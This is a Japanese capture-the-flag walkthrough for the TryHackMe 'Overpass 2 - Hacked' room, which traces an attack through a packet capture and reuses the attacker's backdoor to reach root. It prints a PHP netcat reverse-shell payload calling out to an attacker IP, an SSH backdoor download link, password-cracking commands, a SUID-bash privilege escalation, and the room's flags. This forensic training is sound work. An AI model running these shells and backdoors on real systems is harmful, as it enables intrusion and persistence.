概要
TryHackMe「Overpass 2 - Hacked」のWalkthroughです。
Task1
Q1.What was the URL of the page they used to upload a reverse shell?
アップロード機能があるページを探します。
HTTPのリクエストメソッドをPOSTに絞ることで発見できました。
A./development/
Q2.What payload did the attacker use to gain access?
Hint.Include the PHP tags. Whole file content.
POSTリクエストのHTTP Streamを見ると送信したペイロードを見られます。
A.<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.170.145 4242 >/tmp/f")?>
Q3.What password did the attacker use to privesc?
Hint.A netcat reverse shell transmits everything in plaintext!
攻撃者はペイロードPHPファイルをアップロード後,/development/uploads/payload.php
にアクセスしています。
ここでリバースシェルを張っています。
なのでその後のTCPパケットを追うことでNetcatでの通信を得られました。
su james
コマンドの後にパスワードを入力していることが分かります。
A.whenevernoteartinstant
Q4.How did the attacker establish persistence?
コマンドを追っていくとSSHのバックドアツールをGitHubからダウンロードしています。
A.https://github.com/NinjaJc01/ssh-backdoor
Q5.Using the fasttrack wordlist, how many of the system passwords were crackable?
Hint.Did the attacker dump the shadowfile? Try cracking them yourself.
攻撃者は途中で/etc/shadow
ファイルを閲覧しています。
ここからアカウントのパスワードハッシュ値をいくつか得られたので解析してみます。
4つのアカウントのパスワードを特定できました。
$ john shadow --wordlist=/usr/share/wordlists/fasttrack.txt
secret12 (bee)
abcd123 (szymex)
1qaz2wsx (muirland)
secuirty3 (paradox)
A.4
Task2
Q1.What's the default hash for the backdoor?
Hint.Variable values!
main.go
からデフォルトのハッシュ値が分かりました。
A.bdd04d9bb7621687f5df9001f5098eb22bf19eac4c2c30b6f23efed4d24807277d0f8bfccb9e77659103d78c56e66d2d7d8391dfc885d0e9b68acd01fc2170e3
Q2.What's the hardcoded salt for the backdoor?
Hint.If you read the code, you can fairly quickly see what salt is provided to the function call.
main.go
のverifyPass
関数で第二引数でソルトを使用しています。
同じくmain.go
でverifyPass
関数を使用している個所を確認します。
引数で渡しているソルトがハードコードされています。
A.1c362db832f3f864c8c2fe05f2002a05
Q3.What was the hash that the attacker used? - go back to the PCAP for this!
Hint.Reading the code, the -a or --hash flag can be used to supply a hash at runtime.
main.go
を確認すると-a
オプションでバックドアのハッシュ値を渡すようです。
NetcatのTCPストリームからbackdoor
プログラムを実行している個所を確認できます。
A.6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed
Q4.Crack the hash using rockyou and a cracking tool of your choice. What's the password?
Hint.It's salted, so make sure you use the correct mode. This also means crackstation etc won't work.
main.go
からハッシュアルゴリズムがSHA512
だと分かりました。
ハッシュ値とソルトが分かっているので併せてテキストファイルを作成します。
6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed:1c362db832f3f864c8c2fe05f2002a05
Hashcatで解析すると平文を特定できました。
$ hashcat -a 0 -m 1710 james /usr/share/wordlists/rockyou.txt
6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed:1c362db832f3f864c8c2fe05f2002a05:november16
A.november16
Task3
Q1.The attacker defaced the website. What message did they leave as a heading?
80
番ポートにアクセスするとWebサイトが改ざんされています。
A.H4ck3d by CooctusClan
Q3.What's the user flag?
Hint.The backdoor! It only checks the password.
Netcatのコマンド履歴からSSHバックドアが2222
ポートで動作していると分かります。
なので2222
ポートにjames
アカウントでSSH接続を試みると成功しました。
$ ssh -p 2222 james@10.10.48.7 -oHostKeyAlgorithms=+ssh-rsa
james@overpass-production:/home/james/ssh-backdoor$
/home/james/user.txt
からユーザーフラグを入手できました。
thm{d119b4fa8c497ddb0525f7ad200e6567}
A.thm{d119b4fa8c497ddb0525f7ad200e6567}
Q4.What's the root flag?
Hint.Did the attacker leave a quick way for them to get root again without a password?
/home/james
を見るとSUIDが付いたbashを見つけました。
$ ls -la
-rwsr-sr-x 1 root root 1113504 Jul 22 2020 .suid_bash
このプログラムを利用してroot権限を取得できました。
$ ./.suid_bash -p
.suid_bash-4.4# whoami
root
/root/root.txt
からルートフラグを入手できました。
thm{d53b2684f169360bb9606c333873144d}
A.thm{d53b2684f169360bb9606c333873144d}